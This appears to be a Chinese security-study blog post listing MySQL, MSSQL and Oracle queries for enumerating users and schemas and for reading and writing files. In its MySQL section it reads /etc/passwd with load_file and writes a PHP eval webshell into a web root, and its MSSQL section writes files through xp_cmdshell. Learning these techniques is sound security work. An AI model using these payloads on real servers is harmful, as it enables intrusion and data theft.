日期:2019-08-13 15:14:20
更新:
作者:Bay0net
介绍:信安之路的第三周任务
0x01、任务要求
- 利用数据库的功能读写文件以及需要的条件
- 学习数据库表的功能,查询 库名、表名、字段名、内容、当前用户等信息。
- 学习 hashcat 使用
0x02、MySQL 相关
内置函数
# 查看当前数据库
select database();
# 查看用户相关
select user();
select current_user();
select system_user();
select session_user();
# 查看数据库版本
select version();
select @@version;
select @@GLOBAL.VERSION;
# 查看操作系统
select @@version_compile_os;
# 查看主机名
select @@hostname;
# 查看安装目录
select @@basedir;
# 查看数据目录
select @@datadir;
# 查看插件目录
select @@plugin_dir;
读写文件操作
# 读取文件
select load_file('/etc/passwd');
select load_file(0x2f6574632f706173737764);
- load_file 的默认目录是
@@datadir
。 - 文件需要有可读权限。
- 读文件的最大容量,用
@@max_allowed_packet
查看。
# 写入文件(需要有权限、知道绝对路径)
select 'hello' into outfile '/tmp/test01';
select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';
select 'hello' into dumpfile '/tmp/test01';
outfile 和 dumpfile
都不会覆盖文件,如果文件已存在,则报错。- 如果没有写权限,则报错。
into dumpfile
在写文件时会保持文件原生内容,常用来写二进制文件。into outfile
在每一行都会加上换行符。
查看读写权限
使用 mysql
的读写功能需要具有一定的权限。
secure_file_priv
参数用来限制 load_file,into outfile
等相关读写执行函数作用于哪个指定目录。
# 查看方式
show global variables like '%secure%';
# 具体意义
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出
当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下
当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
当 mysql.version < 5.5.53 时,默认是 null。
查询数据库、表名、字段等信息
在每个 MySQL
实例中都有一个独立的 information_schema
,用来存储 MySQL
实例中所有其他数据库的基本信息。
# 爆所有用户
select group_concat(user) from mysql.user;
# 爆所有数据库
select group_concat(SCHEMA_NAME) from information_schema.schemata;
# 爆当前数据库的表名
select group_concat(table_name) from information_schema.tables where table_schema=database();
# 表中有主码约束,非空约束等完整性约束条件的情况下 爆表名
select group_concat(table_name) from information_schema.table_constraints where table_schema=database();
# 爆字段名(表名是 users,加引号或十六进制编码)
select group_concat(column_name) from information_schema.columns where table_name='users';
select group_concat(column_name) from information_schema.columns where table_name=0x7573657273;
# 爆字段内容
select first_name,password from users
0x03、mssql 相关
内置函数
# 查询所有数据库
select name from sys.databases
# 查询所有表
select name from sysobjects where xtype='U' order by name
select * from sys.objects where type='U' order by name
# 查询表结构
SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Student'
sp_columns Student
# 查询列名
SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='Student'
# 查询所有表
exec sp_tables
# 查询服务器名
select @@SERVERNAME
读写文件
读文件
需要 SA
或者有 BULK INSERT
权限才能操作
CREATE TABLE #testtable ( context ntext );
BULK INSERT #testtable FROM '/tmp/flag' WITH ( DATAFILETYPE = 'char', KEEPNULLS )
SELECT * FROM #testtable
DROP TABLE #testtable;
写文件
# 利用 xp_cmdshell 写文件
exec xp_cmdshell 'echo test>d:\1.txt'
# 利用 sp_oacreate
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\1.txt', 1
exec @ret = sp_oamethod @f, 'writeline', NULL ,'This is the test string'
0x04、Oracle 相关
内置函数
# 查看登录的用户
show user;
# 查询所有用户(需要 sys 权限,scott 查不了)
select username from dba_users;
# 查询当前数据库名称
select name from v$database;
# 查询当前数据库实例名
select instance_name from v$instance;
# 查询所有路径
select * from all_directories;
读写文件
写文件,需要注意几个地方,贼鸡儿坑:
- 用户需要有创建
directory
的权限 - 所谓的创建目录,只是建立了一个映射关系,这里的创建是在
all_directories
中创建了一个directory
- 系统需要本来就有这个目录
- 用户需要有读写
directory
的权限 - utl_file 需要有操作目录的权限
- 磁盘的目录需要有读写权限
# 授权用户权限
Grant create any directory to scott;
# 创建目录
create or replace directory GP_LOG_DIR as '/tmp/test';
# 查看目录是否成功创建
select * FROM all_directories dir WHERE dir.DIRECTORY_NAME = 'GP_LOG_DIR';
# 列目录
host ls /tmp/test/
# 删除视图
Drop directory GP_LOG_DIR;
# 授权读写权限
GRANT WRITE,READ ON DIRECTORY GP_LOG_DIR TO scott;
# 设置 utl_file 的可操作目录
alter system set utl_file_dir='/tmp/test/' scope=spfile;
# 查看文件的权限
ls -ald /tmp/test
# 测试写入
DECLARE
filehandle utl_file.file_type;
begin
filehandle := utl_file.fopen('GP_LOG_DIR','hello.txt','w');
utl_file.put_line(filehandle,'Hello Oracle!');
utl_file.fclose(filehandle);
end;

读文件,权限和上面一样。
# 读文件
set serveroutput on;
DECLARE
filehandle utl_file.file_type;
filebuffer varchar2(500);
begin
filehandle := utl_file.fopen('GP_LOG_DIR','hello.txt','R');
IF utl_file.is_open(filehandle) THEN
dbms_output.put_line('file is open!');
END IF;
loop
begin
utl_file.get_line(filehandle,filebuffer);
dbms_output.put_line(filebuffer);
EXCEPTION
WHEN no_data_found THEN
exit ;
WHEN OTHERS THEN
dbms_output.put_line('EXCEPTION1:'||SUBSTR(SQLERRM, 1, 100)) ;
end;
end loop;
utl_file.fclose(filehandle);
IF utl_file.is_open(filehandle) THEN
dbms_output.put_line('file is open!');
else
dbms_output.put_line('file is close!');
END IF;
utl_file.fcopy('GP_LOG_DIR', 'hello.txt', 'GP_LOG_DIR', 'hello.dat');--复制
utl_file.fcopy('GP_LOG_DIR', 'hello.txt', 'GP_LOG_DIR', 'hello2.dat');
utl_file.fcopy('GP_LOG_DIR', 'hello.txt', 'GP_LOG_DIR', 'hello.xls');
utl_file.frename('GP_LOG_DIR','hello.xls','GP_LOG_DIR','frenamehello.xls',TRUE);--重命名
utl_file.fremove('GP_LOG_DIR', 'hello2.dat');--删除文件
EXCEPTION
WHEN OTHERS THEN
dbms_output.put_line('EXCEPTION2:'||SUBSTR(SQLERRM, 1, 100)) ;
end;